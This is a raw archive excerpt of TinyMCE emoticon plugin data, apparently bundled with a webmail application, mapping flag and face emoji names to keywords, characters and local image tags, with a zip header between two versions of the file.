style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde7" src="1f1f8-1f1e7.png"/>',fitzpatrick_scale:!1,category:"flags"},somalia:{keywords:["so","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf4" src="1f1f8-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},south_africa:{keywords:["south","africa","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\udde6" src="1f1ff-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},south_georgia_south_sandwich_islands:{keywords:["south","georgia","sandwich","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf8" src="1f1ec-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},kr:{keywords:["south","korea","nation","flag","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf7" src="1f1f0-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},south_sudan:{keywords:["south","sd","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf8" src="1f1f8-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},es:{keywords:["spain","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf8" src="1f1ea-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},sri_lanka:{keywords:["sri","lanka","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf0" src="1f1f1-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},sudan:{keywords:["sd","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde9" src="1f1f8-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},suriname:{keywords:["sr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf7" src="1f1f8-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},swaziland:{keywords:["sz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddff" src="1f1f8-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},sweden:{keywords:["se","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddea" src="1f1f8-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},switzerland:{keywords:["ch","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udded" src="1f1e8-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},syria:{keywords:["syrian","arab","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfe" src="1f1f8-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},taiwan:{keywords:["tw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddfc" src="1f1f9-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},tajikistan:{keywords:["tj","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddef" src="1f1f9-1f1ef.png"/>',fitzpatrick_scale:!1,category:"flags"},tanzania:{keywords:["tanzania,","united","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddff" src="1f1f9-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},thailand:{keywords:["th","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udded" src="1f1f9-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},timor_leste:{keywords:["timor","leste","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf1" src="1f1f9-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},togo:{keywords:["tg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddec" src="1f1f9-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},tokelau:{keywords:["tk","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf0" src="1f1f9-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},tonga:{keywords:["to","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf4" src="1f1f9-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},trinidad_tobago:{keywords:["trinidad","tobago","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf9" src="1f1f9-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},tunisia:{keywords:["tn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf3" src="1f1f9-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},tr:{keywords:["turkey","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf7" src="1f1f9-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},turkmenistan:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf2" src="1f1f9-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},turks_caicos_islands:{keywords:["turks","caicos","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udde8" src="1f1f9-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},tuvalu:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddfb" src="1f1f9-1f1fb.png"/>',fitzpatrick_scale:!1,category:"flags"},uganda:{keywords:["ug","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddec" src="1f1fa-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},ukraine:{keywords:["ua","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\udde6" src="1f1fa-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},united_arab_emirates:{keywords:["united","arab","emirates","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddea" src="1f1e6-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},uk:{keywords:["united","kingdom","great","britain","northern","ireland","flag","nation","country","banner","british","UK","english","england","union jack"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde7" src="1f1ec-1f1e7.png"/>',fitzpatrick_scale:!1,category:"flags"},england:{keywords:["flag","english"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f" src="1f3f4-e0067-e0062-e0065-e006e-e0067-e007f.png"/>',fitzpatrick_scale:!1,category:"flags"},scotland:{keywords:["flag","scottish"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f" src="1f3f4-e0067-e0062-e0073-e0063-e0074-e007f.png"/>',fitzpatrick_scale:!1,category:"flags"},wales:{keywords:["flag","welsh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f" src="1f3f4-e0067-e0062-e0077-e006c-e0073-e007f.png"/>',fitzpatrick_scale:!1,category:"flags"},us:{keywords:["united","states","america","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddf8" src="1f1fa-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},us_virgin_islands:{keywords:["virgin","islands","us","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddee" src="1f1fb-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},uruguay:{keywords:["uy","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddfe" src="1f1fa-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},uzbekistan:{keywords:["uz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddff" src="1f1fa-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},vanuatu:{keywords:["vu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddfa" src="1f1fb-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},vatican_city:{keywords:["vatican","city","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\udde6" src="1f1fb-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},venezuela:{keywords:["ve","bolivarian","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddea" src="1f1fb-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},vietnam:{keywords:["viet","nam","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddf3" src="1f1fb-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},wallis_futuna:{keywords:["wallis","futuna","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfc\ud83c\uddeb" src="1f1fc-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},western_sahara:{keywords:["western","sahara","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\udded" src="1f1ea-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},yemen:{keywords:["ye","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfe\ud83c\uddea" src="1f1fe-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},zambia:{keywords:["zm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\uddf2" src="1f1ff-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},zimbabwe:{keywords:["zw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\uddfc" src="1f1ff-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},united_nations:{keywords:["un","flag","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddf3" src="1f1fa-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},pirate_flag:{keywords:["skull","crossbones","flag","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\u200d\u2620\ufe0f" src="1f3f4-200d-2620-fe0f.png"/>',fitzpatrick_scale:!1,category:"flags"}});PK
h�\�F����5program/js/tinymce/plugins/emoticons/js/emojis.min.jsnu�[���// Source: npm package: emojilib, file:emojis.json
window.tinymce.Resource.add("tinymce.plugins.emoticons",{grinning:{keywords:["face","smile","happy","joy",":D","grin"],char:"\ud83d\ude00",fitzpatrick_scale:!1,category:"people"},grimacing:{keywords:["face","grimace","teeth"],char:"\ud83d\ude2c",fitzpatrick_scale:!1,category:"people"},grin:{keywords:["face","happy","smile","joy","kawaii"],char:"\ud83d\ude01",fitzpatrick_scale:!1,category:"people"},joy:{keywords:["face","cry","tears","weep","happy","happytears","haha"],char:"\ud83d\ude02",fitzpatrick_scale:!1,category:"people"},rofl:{keywords:["face","rolling","floor","laughing","lol","haha"],char:"\ud83e\udd23",fitzpatrick_scale:!1,category:"people"},partying:{keywords:["face","celebration","woohoo"],char:"\ud83e\udd73",fitzpatrick_scale:!1,category:"people"},smiley:{keywords:["face","happy","joy","haha",":D",":)","smile","funny"],char:"\ud83d\ude03",fitzpatrick_scale:!1,category:"people"},smile:{keywords:["face","happy","joy","funny","haha","laugh","like",":D",":)"],char:"\ud83d\ude04",fitzpatrick_scale:!1,category:"people"},sweat_smile:{keywords:["face","hot","happy","laugh","sweat","smile","relief"],char:"\ud83d\ude05",fitzpatrick_scale:!1,category:"people"},laughing:{keywords:["happy","joy","lol","satisfied","haha","face","glad","XD","laugh"],char:"\ud83d\ude06",fitzpatrick_scale:!1,category:"people"},innocent:{keywords:["face","angel","heaven","halo"],char:"\ud83d\ude07",fitzpatrick_scale:!1,category:"people"},wink:{keywords:["face","happy","mischievous","secret",";)","smile","eye"],char:"\ud83d\ude09",fitzpatrick_scale:!1,category:"people"},blush:{keywords:["face","smile","happy","flushed","crush","embarrassed","shy","joy"],char:"\ud83d\ude0a",fitzpatrick_scale:!1,category:"people"},slightly_smiling_face:{keywords:["face","smile"],char:"\ud83d\ude42",fitzpatrick_scale:!1,category:"people"},upside_down_face:{keywords:["face","flipped","silly","smile"],char:"\ud83d\ude43",fitzpatrick_scale:!1,category:"people"},relaxed:{keywords:["face","blush","massage","happiness"],char:"\u263a\ufe0f",fitzpatrick_scale:!1,category:"people"},yum:{keywords:["happy","joy","tongue","smile","face","silly","yummy","nom","delicious","savouring"],char:"\ud83d\ude0b",fitzpatrick_scale:!1,category:"people"},relieved:{keywords:["face","relaxed","phew","massage","happiness"],char:"\ud83d\ude0c",fitzpatrick_scale:!1,category:"people"},heart_eyes:{keywords:["face","love","like","affection","valentines","infatuation","crush","heart"],char:"\ud83d\ude0d",fitzpatrick_scale:!1,category:"people"},smiling_face_with_three_hearts:{keywords:["face","love","like","affection","valentines","infatuation","crush","hearts","adore"],char:"\ud83e\udd70",fitzpatrick_scale:!1,category:"people"},kissing_heart:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:"\ud83d\ude18",fitzpatrick_scale:!1,category:"people"},kissing:{keywords:["love","like","face","3","valentines","infatuation","kiss"],char:"\ud83d\ude17",fitzpatrick_scale:!1,category:"people"},kissing_smiling_eyes:{keywords:["face","affection","valentines","infatuation","kiss"],char:"\ud83d\ude19",fitzpatrick_scale:!1,category:"people"},kissing_closed_eyes:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:"\ud83d\ude1a",fitzpatrick_scale:!1,category:"people"},stuck_out_tongue_winking_eye:{keywords:["face","prank","childish","playful","mischievous","smile","wink","tongue"],char:"\ud83d\ude1c",fitzpatrick_scale:!1,category:"people"},zany:{keywords:["face","goofy","crazy"],char:"\ud83e\udd2a",fitzpatrick_scale:!1,category:"people"},raised_eyebrow:{keywords:["face","distrust","scepticism","disapproval","disbelief","surprise"],char:"\ud83e\udd28",fitzpatrick_scale:!1,category:"people"},monocle:{keywords:["face","stuffy","wealthy"],char:"\ud83e\uddd0",fitzpatrick_scale:!1,category:"people"},stuck_out_tongue_closed_eyes:{keywords:["face","prank","playful","mischievous","smile","tongue"],char:"\ud83d\ude1d",fitzpatrick_scale:!1,category:"people"},stuck_out_tongue:{keywords:["face","prank","childish","playful","mischievous","smile","tongue"],char:"\ud83d\ude1b",fitzpatrick_scale:!1,category:"people"},money_mouth_face:{keywords:["face","rich","dollar","money"],char:"\ud83e\udd11",fitzpatrick_scale:!1,category:"people"},nerd_face:{keywords:["face","nerdy","geek","dork"],char:"\ud83e\udd13",fitzpatrick_scale:!1,category:"people"},sunglasses:{keywords:["face","cool","smile","summer","beach","sunglass"],char:"\ud83d\ude0e",fitzpatrick_scale:!1,category:"people"},star_struck:{keywords:["face","smile","starry","eyes","grinning"],char:"\ud83e\udd29",fitzpatrick_scale:!1,category:"people"},clown_face:{keywords:["face"],char:"\ud83e\udd21",fitzpatrick_scale:!1,category:"people"},cowboy_hat_face:{keywords:["face","cowgirl","hat"],char:"\ud83e\udd20",fitzpatrick_scale:!1,category:"people"},hugs:{keywords:["face","smile","hug"],char:"\ud83e\udd17",fitzpatrick_scale:!1,category:"people"},smirk:{keywords:["face","smile","mean","prank","smug","sarcasm"],char:"\ud83d\ude0f",fitzpatrick_scale:!1,category:"people"},no_mouth:{keywords:["face","hellokitty"],char:"\ud83d\ude36",fitzpatrick_scale:!1,category:"people"},neutral_face:{keywords:["indifference","meh",":|","neutral"],char:"\ud83d\ude10",fitzpatrick_scale:!1,category:"people"},expressionless:{keywords:["face","indifferent","-_-","meh","deadpan"],char:"\ud83d\ude11",fitzpatrick_scale:!1,category:"people"},unamused:{keywords:["indifference","bored","straight face","serious","sarcasm","unimpressed","skeptical","dubious","side_eye"],char:"\ud83d\ude12",fitzpatrick_scale:!1,category:"people"},roll_eyes:{keywords:["face","eyeroll","frustrated"],char:"\ud83d\ude44",fitzpatrick_scale:!1,category:"people"},thinking:{keywords:["face","hmmm","think","consider"],char:"\ud83e\udd14",fitzpatrick_scale:!1,category:"people"},lying_face:{keywords:["face","lie","pinocchio"],char:"\ud83e\udd25",fitzpatrick_scale:!1,category:"people"},hand_over_mouth:{keywords:["face","whoops","shock","surprise"],char:"\ud83e\udd2d",fitzpatrick_scale:!1,category:"people"},shushing:{keywords:["face","quiet","shhh"],char:"\ud83e\udd2b",fitzpatrick_scale:!1,category:"people"},symbols_over_mouth:{keywords:["face","swearing","cursing","cussing","profanity","expletive"],char:"\ud83e\udd2c",fitzpatrick_scale:!1,category:"people"},exploding_head:{keywords:["face","shocked","mind","blown"],char:"\ud83e\udd2f",fitzpatrick_scale:!1,category:"people"},flushed:{keywords:["face","blush","shy","flattered"],char:"\ud83d\ude33",fitzpatrick_scale:!1,category:"people"},disappointed:{keywords:["face","sad","upset","depressed",":("],char:"\ud83d\ude1e",fitzpatrick_scale:!1,category:"people"},worried:{keywords:["face","concern","nervous",":("],char:"\ud83d\ude1f",fitzpatrick_scale:!1,category:"people"},angry:{keywords:["mad","face","annoyed","frustrated"],char:"\ud83d\ude20",fitzpatrick_scale:!1,category:"people"},rage:{keywords:["angry","mad","hate","despise"],char:"\ud83d\ude21",fitzpatrick_scale:!1,category:"people"},pensive:{keywords:["face","sad","depressed","upset"],char:"\ud83d\ude14",fitzpatrick_scale:!1,category:"people"},confused:{keywords:["face","indifference","huh","weird","hmmm",":/"],char:"\ud83d\ude15",fitzpatrick_scale:!1,category:"people"},slightly_frowning_face:{keywords:["face","frowning","disappointed","sad","upset"],char:"\ud83d\ude41",fitzpatrick_scale:!1,category:"people"},frowning_face:{keywords:["face","sad","upset","frown"],char:"\u2639",fitzpatrick_scale:!1,category:"people"},persevere:{keywords:["face","sick","no","upset","oops"],char:"\ud83d\ude23",fitzpatrick_scale:!1,category:"people"},confounded:{keywords:["face","confused","sick","unwell","oops",":S"],char:"\ud83d\ude16",fitzpatrick_scale:!1,category:"people"},tired_face:{keywords:["sick","whine","upset","frustrated"],char:"\ud83d\ude2b",fitzpatrick_scale:!1,category:"people"},weary:{keywords:["face","tired","sleepy","sad","frustrated","upset"],char:"\ud83d\ude29",fitzpatrick_scale:!1,category:"people"},pleading:{keywords:["face","begging","mercy"],char:"\ud83e\udd7a",fitzpatrick_scale:!1,category:"people"},triumph:{keywords:["face","gas","phew","proud","pride"],char:"\ud83d\ude24",fitzpatrick_scale:!1,category:"people"},open_mouth:{keywords:["face","surprise","impressed","wow","whoa",":O"],char:"\ud83d\ude2e",fitzpatrick_scale:!1,category:"people"},scream:{keywords:["face","munch","scared","omg"],char:"\ud83d\ude31",fitzpatrick_scale:!1,category:"people"},fearful:{keywords:["face","scared","terrified","nervous","oops","huh"],char:"\ud83d\ude28",fitzpatrick_scale:!1,category:"people"},cold_sweat:{keywords:["face","nervous","sweat"],char:"\ud83d\ude30",fitzpatrick_scale:!1,category:"people"},hushed:{keywords:["face","woo","shh"],char:"\ud83d\ude2f",fitzpatrick_scale:!1,category:"people"},frowning:{keywords:["face","aw","what"],char:"\ud83d\ude26",fitzpatrick_scale:!1,category:"people"},anguished:{keywords:["face","stunned","nervous"],char:"\ud83d\ude27",fitzpatrick_scale:!1,category:"people"},cry:{keywords:["face","tears","sad","depressed","upset",":'("],char:"\ud83d\ude22",fitzpatrick_scale:!1,category:"people"},disappointed_relieved:{keywords:["face","phew","sweat","nervous"],char:"\ud83d\ude25",fitzpatrick_scale:!1,category:"people"},drooling_face:{keywords:["face"],char:"\ud83e\udd24",fitzpatrick_scale:!1,category:"people"},sleepy:{keywords:["face","tired","rest","nap"],char:"\ud83d\ude2a",fitzpatrick_scale:!1,category:"people"},sweat:{keywords:["face","hot","sad","tired","exercise"],char:"\ud83d\ude13",fitzpatrick_scale:!1,category:"people"},hot:{keywords:["face","feverish","heat","red","sweating"],char:"\ud83e\udd75",fitzpatrick_scale:!1,category:"people"},cold:{keywords:["face","blue","freezing","frozen","frostbite","icicles"],char:"\ud83e\udd76",fitzpatrick_scale:!1,category:"people"},sob:{keywords:["face","cry","tears","sad","upset","depressed"],char:"\ud83d\ude2d",fitzpatrick_scale:!1,category:"people"},dizzy_face:{keywords:["spent","unconscious","xox","dizzy"],char:"\ud83d\ude35",fitzpatrick_scale:!1,category:"people"},astonished:{keywords:["face","xox","surprised","poisoned"],char:"\ud83d\ude32",fitzpatrick_scale:!1,category:"people"},zipper_mouth_face:{keywords:["face","sealed","zipper","secret"],char:"\ud83e\udd10",fitzpatrick_scale:!1,category:"people"},nauseated_face:{keywords:["face","vomit","gross","green","sick","throw up","ill"],char:"\ud83e\udd22",fitzpatrick_scale:!1,category:"people"},sneezing_face:{keywords:["face","gesundheit","sneeze","sick","allergy"],char:"\ud83e\udd27",fitzpatrick_scale:!1,category:"people"},vomiting:{keywords:["face","sick"],char:"\ud83e\udd2e",fitzpatrick_scale:!1,category:"people"},mask:{keywords:["face","sick","ill","disease"],char:"\ud83d\ude37",fitzpatrick_scale:!1,category:"people"},face_with_thermometer:{keywords:["sick","temperature","thermometer","cold","fever"],char:"\ud83e\udd12",fitzpatrick_scale:!1,category:"people"},face_with_head_bandage:{keywords:["injured","clumsy","bandage","hurt"],char:"\ud83e\udd15",fitzpatrick_scale:!1,category:"people"},woozy:{keywords:["face","dizzy","intoxicated","tipsy","wavy"],char:"\ud83e\udd74",fitzpatrick_scale:!1,category:"people"},sleeping:{keywords:["face","tired","sleepy","night","zzz"],char:"\ud83d\ude34",fitzpatrick_scale:!1,category:"people"},zzz:{keywords:["sleepy","tired","dream"],char:"\ud83d\udca4",fitzpatrick_scale:!1,category:"people"},poop:{keywords:["hankey","shitface","fail","turd","shit"],char:"\ud83d\udca9",fitzpatrick_scale:!1,category:"people"},smiling_imp:{keywords:["devil","horns"],char:"\ud83d\ude08",fitzpatrick_scale:!1,category:"people"},imp:{keywords:["devil","angry","horns"],char:"\ud83d\udc7f",fitzpatrick_scale:!1,category:"people"},japanese_ogre:{keywords:["monster","red","mask","halloween","scary","creepy","devil","demon","japanese","ogre"],char:"\ud83d\udc79",fitzpatrick_scale:!1,category:"people"},japanese_goblin:{keywords:["red","evil","mask","monster","scary","creepy","japanese","goblin"],char:"\ud83d\udc7a",fitzpatrick_scale:!1,category:"people"},skull:{keywords:["dead","skeleton","creepy","death"],char:"\ud83d\udc80",fitzpatrick_scale:!1,category:"people"},ghost:{keywords:["halloween","spooky","scary"],char:"\ud83d\udc7b",fitzpatrick_scale:!1,category:"people"},alien:{keywords:["UFO","paul","weird","outer_space"],char:"\ud83d\udc7d",fitzpatrick_scale:!1,category:"people"},robot:{keywords:["computer","machine","bot"],char:"\ud83e\udd16",fitzpatrick_scale:!1,category:"people"},smiley_cat:{keywords:["animal","cats","happy","smile"],char:"\ud83d\ude3a",fitzpatrick_scale:!1,category:"people"},smile_cat:{keywords:["animal","cats","smile"],char:"\ud83d\ude38",fitzpatrick_scale:!1,category:"people"},joy_cat:{keywords:["animal","cats","haha","happy","tears"],char:"\ud83d\ude39",fitzpatrick_scale:!1,category:"people"},heart_eyes_cat:{keywords:["animal","love","like","affection","cats","valentines","heart"],char:"\ud83d\ude3b",fitzpatrick_scale:!1,category:"people"},smirk_cat:{keywords:["animal","cats","smirk"],char:"\ud83d\ude3c",fitzpatrick_scale:!1,category:"people"},kissing_cat:{keywords:["animal","cats","kiss"],char:"\ud83d\ude3d",fitzpatrick_scale:!1,category:"people"},scream_cat:{keywords:["animal","cats","munch","scared","scream"],char:"\ud83d\ude40",fitzpatrick_scale:!1,category:"people"},crying_cat_face:{keywords:["animal","tears","weep","sad","cats","upset","cry"],char:"\ud83d\ude3f",fitzpatrick_scale:!1,category:"people"},pouting_cat:{keywords:["animal","cats"],char:"\ud83d\ude3e",fitzpatrick_scale:!1,category:"people"},palms_up:{keywords:["hands","gesture","cupped","prayer"],char:"\ud83e\udd32",fitzpatrick_scale:!0,category:"people"},raised_hands:{keywords:["gesture","hooray","yea","celebration","hands"],char:"\ud83d\ude4c",fitzpatrick_scale:!0,category:"people"},clap:{keywords:["hands","praise","applause","congrats","yay"],char:"\ud83d\udc4f",fitzpatrick_scale:!0,category:"people"},wave:{keywords:["hands","gesture","goodbye","solong","farewell","hello","hi","palm"],char:"\ud83d\udc4b",fitzpatrick_scale:!0,category:"people"},call_me_hand:{keywords:["hands","gesture"],char:"\ud83e\udd19",fitzpatrick_scale:!0,category:"people"},"+1":{keywords:["thumbsup","yes","awesome","good","agree","accept","cool","hand","like"],char:"\ud83d\udc4d",fitzpatrick_scale:!0,category:"people"},"-1":{keywords:["thumbsdown","no","dislike","hand"],char:"\ud83d\udc4e",fitzpatrick_scale:!0,category:"people"},facepunch:{keywords:["angry","violence","fist","hit","attack","hand"],char:"\ud83d\udc4a",fitzpatrick_scale:!0,category:"people"},fist:{keywords:["fingers","hand","grasp"],char:"\u270a",fitzpatrick_scale:!0,category:"people"},fist_left:{keywords:["hand","fistbump"],